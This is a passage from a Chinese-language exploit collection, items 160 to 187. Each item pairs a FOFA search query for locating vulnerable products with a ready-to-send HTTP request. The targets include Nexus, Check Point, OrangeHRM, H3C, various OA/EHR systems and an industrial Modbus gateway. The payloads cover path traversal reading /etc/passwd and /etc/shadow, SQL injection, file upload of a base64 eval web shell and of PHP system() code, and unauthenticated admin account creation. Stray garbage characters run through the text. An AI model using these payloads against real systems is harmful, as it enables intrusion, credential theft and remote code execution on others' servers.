" `  `; V* O* J8 R! bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
  E2 B2 I7 a9 pContent-Length: 1080
Accept-Encoding: gzip, deflate
1 r" a  |% f7 Z1 d  gConnection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
2 L9 T. I% ]' S! t<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
' I( R! n0 }  D, B; z" S2 s<jobUpload xmlns="http://rainier">
3 O  Q! i1 S; t) b$ C/ T7 k<vcode>1</vcode>
, C: M9 V- s7 |* p( I$ y" m5 W<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
* z0 D3 K& U; y</jobUpload>
9 ^4 R2 i; `/ _5 ?: N</soap:Body>
" c% f7 L1 _7 [$ G3 W# w  {! g0 S</soap:Envelope>
! I' {0 A. m( F' ~  M

/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
9 K& e# H- C# L9 I
$ V7 m4 h! H: F7 s# b/ p8 ]
160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
" n1 A; T, d0 d6 |; Y& F1 GFOFA：title="Nexus Repository Manager"
1 w  \  |. z& `* ~. Y1 N% x% r% r7 {GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
7 s8 S6 A4 D7 g; j! u3 c7 nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
  g9 {' M5 g3 w$ S0 J* nConnection: close
Accept: */*
3 K5 q8 U; L  z2 aAccept-Language: en
" o3 B2 {  F- C# H/ k/ nAccept-Encoding: gzip


9 W; d- Q" u: h) r7 t161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
8 l/ [9 u, r" C* J1 HFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
2 E% E0 F' h% U2 qHost: x.x.x.x
8 L0 x: y$ ^- V0 m: R! lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
. o2 h6 ]) p4 G* ]Connection: close
6 y" z! s* _/ D& |1 tContent-Length: 445
Content-Type: text/xml
8 @- {: h" W0 M3 LAccept-Encoding: gzip
0 J, k) }4 \# V9 z1 y
2 A0 k1 i" s1 |" g4 g+ O<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
* E- D( C) F# L8 Ehttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
' U& Q# i+ ]% Wxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
/ j; K1 f  o. q6 k7 p/ y3 ]: Z<soap:Body>
7 V, d- m. q" Z) y3 B# P/ U<UploadResume xmlns="http://tempuri.org/">
  L1 {4 p1 e$ D3 o  F<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
1 B* l. T$ O% [3 ?</UploadResume>
</soap:Body>
</soap:Envelope>
" Z5 i- Y' @  k

' C  P0 k0 K/ X% M* ohttp://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
8 l2 A. q& p1 |% d; r1 yFOFA: app="和丰山海-数字标牌"
1 Y. t. @( ^' ?" I2 Y  yPOST /QH.aspx HTTP/1.1
! U4 T* [; S" E" W1 P# B+ @: @Host: x.x.x.x
- y4 C) M, y1 s! c) ^$ GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
7 Q& n2 l; K" mContent-Length: 583
- F6 j2 R  I: U4 s' x* }9 sContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
# j$ S% a' ?( _- iAccept-Encoding: gzip

. E* @% x4 T. K------WebKitFormBoundaryeegvclmyurlotuey
% _! T+ |2 e/ _& P5 T0 `* cContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
. z  R( J2 r9 G' b/ P& C3 K
# O' S3 r1 o: H7 M9 E+ H/ ~<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
, m; B3 |6 ^1 X0 q6 A: [' E
8 {1 o; k4 D9 s7 Kupload
  y0 |. a8 e3 K: i------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
& w5 V, y( P3 `
ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
0 o% ?' Z3 r. o2 hContent-Disposition: form-data; name="remotePath"
  A: U. F( ?" [  T; C8 \" e+ b# l  H
. V+ w) D: b6 X& |/ `/opt/resources
: y* ^+ V# S$ b  s* I------WebKitFormBoundaryeegvclmyurlotuey--
3 z4 B: _+ J7 k" I
/ N3 V% q! }! r" w
http://x.x.x.x/opt/resources/kjuhitjgk.aspx
$ B4 N" @, Y* C! }# q7 p# ^/ J
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
+ d$ f* K: R. \- y$ }! fPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
, R" I, W+ x! |Connection: close
Content-Length: 293
: H" h, _) t7 Q6 _7 zAccept: */*
( m! B/ c0 M0 ]* l) S  R" AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' M) Z. X. z1 J" t  r9 K: Y- W" PContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
+ _  e& w# y3 Q3 B/ l, O. A! [
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
& R0 n+ `3 P% d
! L+ N& T% w3 E' w: W9 n5 t/ L* V1.php
! w9 ?- w! U' z7 }------iiqvnofupvhdyrcoqyuujyetjvqgocod
; c9 U( R; m5 e# m2 T6 FContent-Disposition: form-data; name="upfile"; filename="1.php"
$ M( N9 T/ v" _) h$ m  T! C8 Y5 c2 H2 bContent-Type: image/jpeg

rvjhvbhwwuooyiioxega
2 J3 |1 I. u$ X3 t) d------iiqvnofupvhdyrcoqyuujyetjvqgocod--


8 j% O/ n  m2 }1 \  b( x164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
8 w, `6 \  E& b$ zPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
& b1 `9 l; k+ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
/ r2 k+ W, t: R* iContent-Length: 288
- t( m- b  J$ E8 }) q9 n2 tAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
% V: t9 y& l7 T0 \+ {6 |5 G: t! }Connection: close
/ F$ U9 S$ V- C+ O" h% T( pContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
* z& N: O2 \7 MX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

7 Z7 O) |% q, n. S8 l' V------dqdaieopnozbkapjacdbdthlvtlyl
* z% F, A5 v; J  {7 g) `5 H4 Q# aContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
" H% Z/ g1 c1 k5 I$ S
& @$ H) M( d% `- H( ~9 Z<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--

7 l  M" D0 U+ _* a; l+ u* T) g
- j2 A4 q- z8 k" b7 Q$ y6 hhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

3 g5 K% I6 k$ u  b6 n# f! C/ q( n165. OrangeHRM 3.3.3 SQL 注入
4 ^8 w" K  z& TCVE-2024-36428
( T' Y( Q0 Q  B6 n0 E8 `" oFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
, t4 s# n! h% J$ m$ h

166. 中成科信票务管理平台SeatMapHandler SQL注入
9 t6 }% q$ D# KFOFA：body="技术支持：北京中成科信科技发展有限公司"
$ s( x# ~( H! @& J& @! }7 d2 u, jPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
5 G; V, z, j7 Z6 c9 S' j( ^: xHost:
+ E* l/ m6 Z/ \, |+ v& s6 GPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  H$ u- ~0 f; z. |6 FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
  B! |  Y$ V# |: Q2 k, z4 _Content-Type: application/x-www-form-urlencoded
Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
# D2 I7 E( d# i

0 V& Q" `& R9 g" Y4 R6 j167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
* r1 E! D& B( W5 iGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
4 [7 g# e/ V* E, j& n, W1 ]) AHost:
7 i0 k3 p6 M) j% Y0 D* w( H  uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  }8 U$ a* b' ^0 ^, U0 ^3 G3 ?  ?Accept-Encoding: gzip, deflate
' q* ?5 H  ~+ uAccept: */*
& u4 S1 j- I1 _7 F; K% J* J# IConnection: keep-alive
4 o5 X$ n" ^1 g% B' r

168. 宏景EHR OutputCode 任意文件读取
2 g, n2 x4 W* K, kFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
! g5 R$ i$ V6 ]! t4 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close



. G5 V4 o( E( |% a  m! {$ `4 ?169. 宏景EHR downlawbase SQL注入
& O) S1 a$ {& S7 ]. h8 \FOFA：app="HJSOFT-HCM"
+ t3 Q1 ?9 R" ~+ X8 [, Q& @GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
% G4 [' V2 k; T( ]* e1 qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
9 r$ l7 l+ Z% |Accept-Encoding: gzip, deflate
Connection: close
" ?  k; l# ~3 A: U4 w& i( a$ t# L+ k

) [- L% }1 I. @$ s4 q
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
' i2 |7 ^6 g4 I! gFOFA：body="/general/sys/hjaxmanage.js"
3 C( l" b, g, iPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
! E$ ^: N. u  F8 KHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& s) d6 [0 i+ H6 n) f4 d
% g1 N3 ]  ^- }) j. a6 S; xfilename=../webapps/ROOT/WEB-INF/web.xml

2 `$ z! O0 q7 c& v
171. 通天星CMSV6车载定位监控平台 SQL注入
  \  v) B+ c' q2 V! KFOFA：body="/808gps/"
. M! |& I+ n# z1 S/ z8 `8 q' PGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
( g( e, C' Z' W0 Y1 NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
3 Q  q: a/ k4 e& a& Y8 `' t9 A% c1 TAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 e: X% P; \' N3 LAccept-Encoding: gzip, deflate
Connection: close


, \" U8 c, l+ ~# ]6 f4 o
) i5 X7 d7 y! ?172. DT-高清车牌识别摄像机任意文件读取
& M1 d, V" _( t8 U. O4 y$ ]% O- FFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
- a: z0 E+ ^/ D0 Q! L; eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
# X: b: e  q% }Accept: */*
Connection: keep-alive
1 M% J: f; R$ E6 |+ p5 P* r
0 D6 y, Q$ B( m2 m& E" t6 g) q
, h* D) t2 i1 p5 s' z/ ]
1 v$ H5 e# l# ]. R173. Check Point 安全网关任意文件读取
% h7 }! U. E5 ]' vCVE-2024-24919
+ y. i' |3 J( r. E5 @% h( KFOFA：app="Check_Point-SSL-Network-Extender"
* Y, m+ n, L9 Q6 ?9 pPOST /clients/MyCRL HTTP/1.1
! |9 I0 _$ W5 K  v4 ~+ XHost: your-ip
Content-Type: application/x-www-form-urlencoded
' d+ r, Y7 x6 I& v7 i( k" p
1 x( V$ |$ u: X3 Z( C: gaCSHELL/../../../../../../../etc/shadow
/ n  X% w  a5 n# g' ?: L
7 `4 a* B' g5 i2 n6 m, Y; G

, [4 V' b! s- Z- B- }174. 金和OA C6 FileDownLoad.aspx 任意文件读取
' J/ ~8 g% p9 u( tFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
3 d, [9 @8 B- [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
7 {( U6 J: r7 x2 }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
* ?3 ?! |& T1 w# G. JAccept-Language: zh-CN,zh;q=0.9
  C" |' {2 t9 ^& a% i' y- c1 aConnection: close
; _1 N; v4 d/ |

- x. N- X, r, @  K5 m) x  R$ v
2 O- A- O7 L' q0 U/ }175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
* }. y0 S7 u. KFOFA：app="金和网络-金和OA"
& C5 j) Q8 ^1 ^7 u1 yGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
* K: F0 W% i# S  T% z- b, B# YHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ p1 _/ ?: q3 T# DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
, q5 _2 V* t- R: G  ]

( F1 b) C, m3 u* \176. 电信网关配置管理系统 rewrite.php 文件上传
$ q& M) W. Z0 w( DFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
: A$ b9 c! \/ O4 LHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
1 T# N! ^7 d5 I) X0 N) W( X1 fConnection: close
2 S; ~0 e& @0 A) a6 ?. A
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
* q$ Z0 D9 t; e/ F1 p+ c------WebKitFormBoundaryOKldnDPT
# r+ y. R+ y( A& y5 a. ?Content-Disposition: form-data; name="uploadtime"
4 X% J) m8 N1 ^( k: ^

( H: x* w5 P" c------WebKitFormBoundaryOKldnDPT--

) V% G- V' b- b( [5 K

; X! u) m+ ]' G, ]) ~7 w177. H3C路由器敏感信息泄露
' ]) B. c$ w3 `1 J, H3 {) v/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
; c% T3 F" A  ^8 F/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
6 l5 t* P! O  D. o$ F5 a  A/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
5 d( y$ g7 s# r  Y9 o' H- h+ @/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
1 K, N- C" E7 ^) {/userLogin.asp/../actionpolicy_status/../ER5200.cfg
1 M* R) a2 {# E' h! t/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
0 H$ {5 y6 ?! B3 F6 I/userLogin.asp/../actionpolicy_status/../ER3260.cfg
$ }3 z- @2 V) K# f* q3 F; V/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
2 D9 {1 }1 n, w6 }6 m( |' I/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
5 g% X' i0 X8 i/userLogin.asp/../actionpolicy_status/../ER3100.cfg
: p) W- \5 M: S( S, ~+ U2 k: o/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


& @5 m% p. w$ C178. H3C校园网自助服务系统-flexfileupload-任意文件上传
6 |' g1 d2 M8 b! j- RFOFA：header="/selfservice"
8 }5 `/ Q+ c1 g4 V( S, j( I* R. yPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
0 l: t0 {' C; g9 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
) \1 ]& ?) m, ?3 Q/ n9 GContent-Length: 252
& _1 C- p, s' K, F/ E8 fAccept-Encoding: gzip, deflate
6 _; \3 l8 K: i* |2 Q5 h3 U# sConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255
9 q, o( p$ K+ s
6 @( ?1 G: l& N12234
-----------------aqutkea7vvanpqy3rh2l--


: {: a! [  r0 N8 [* p( pGET /imc/primepush/%2e%2e/flex/12234.txt
6 T0 X$ R1 \+ A1 l

179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
. s2 y4 E+ g( n' t* f: s6 gHost: {{Hostname}}
2 |5 J! G2 I( yContent-Type: application/x-www-form-urlencoded
8 J* o( u% d( O" H2 XUser-Agent: Mozilla/5.0
# P( {& J* T2 j4 l, w8 G, S
path=../log4net.config&Name=

3 S6 D3 ?1 B! S5 z
5 {3 x+ t- k8 d; ]180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
( x8 s/ i& r- ]" ?. k- V  y- S" U! MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 j4 l9 u3 o7 x: U" r" `. uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% Y( H. k2 ?# `6 N6 T: X7 AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

' i- L( C( P6 J& V1 @$ K, W: l
6 @- _- a( [6 I181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
; I# L  H6 L+ kFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
$ J8 @9 ]9 v( ^! q8 }7 w" l" vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
/ B! \1 w+ R4 {5 q0 Z+ f5 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
* q8 G% T# |2 V% |- x( q& ZConnection: close
Content-Type: application/x-www-form-urlencoded

8 N0 j3 ], o$ T+ L) Q' h
3 z9 k) X4 w4 @, u" }1 ~action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
4 ?5 _# W8 [1 C! P8 P
  i- o. T" @1 ]) M% N
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
  Z6 i8 T) L4 L2 E1 f! g/ \POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
  k; W# Z# {. g1 _0 D; ^( kHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
. }5 R8 H9 o3 t/ X9 ]Accept-Language: zh-CN,zh;q=0.9
! [: t. ?5 n! k+ ~1 ]  xConnection: close
Content-Type: application/x-www-form-urlencoded


8 O' ?  X) I! l  Kusername=test1234&pwd=test1234&savedays=1
* P% r3 ]+ V6 Q/ I5 W1 t- R) Q

3 W4 h" P1 {# e' \* M1 g183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
: x; X' Y) ]. \: G' t" x1 mFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
& s6 y* e" a5 n$ I: }; Y

# q3 r1 D- [0 ?, f! r* d  T184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
  L) t( v% M+ F/ z& e$ O" j! c  V% |FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
+ @" [& n/ o7 ~5 a  jHost: your-ip
Accept-Encoding: gzip, deflate
6 I, z" x% d& @3 L5 s8 {# qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
) h7 I2 L& O  Z0 _$ T$ d6 MAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
4 z) `( o4 u7 G# ^6 d7 FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 [* }8 c4 g1 X5 U2 T1 xX-Requested-With: XMLHttpRequest


9 P- p' l  G4 ~, Q: L8 X; Ainsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

1 L- q1 B' T* y4 y
$ U- e8 E2 J8 X3 S- `185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
$ r+ h6 |$ N. Q6 g" WFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
5 J. U- X) |9 n. N1 yHost: host

/ }. D' `  I+ r5 R6 T+ M( x
186. F-logic DataCube3 SQL注入
2 ^7 U  m  s5 p1 ]7 dCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
0 t( W# c) L4 ]+ V  |$ |1 JPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
& |2 h) ]9 E, S+ l7 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
# t( T8 Z6 F* r' AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: b) {) }/ H7 n. k& \/ X8 |5 I0 fAccept-Encoding: gzip, deflate
Connection: close
/ L- u$ Y' U- R3 B. hContent-Type: application/x-www-form-urlencoded

$ e& j/ E' W& w/ ?req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
! h0 U$ m! G! i) {1 G- t9 n. H
" Q8 q  n. a5 D9 L1 I% a0 f8 Z
  P  v" Z) O; a0 W1 f3 I! i8 L  B- R; J7 A187. Mura CMS processAsyncObject SQL注入
" n! \" Q; \$ Y( g3 ^9 _$ ]CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
: M" e' m$ Z' i! k) A- B: OHost: your-ip
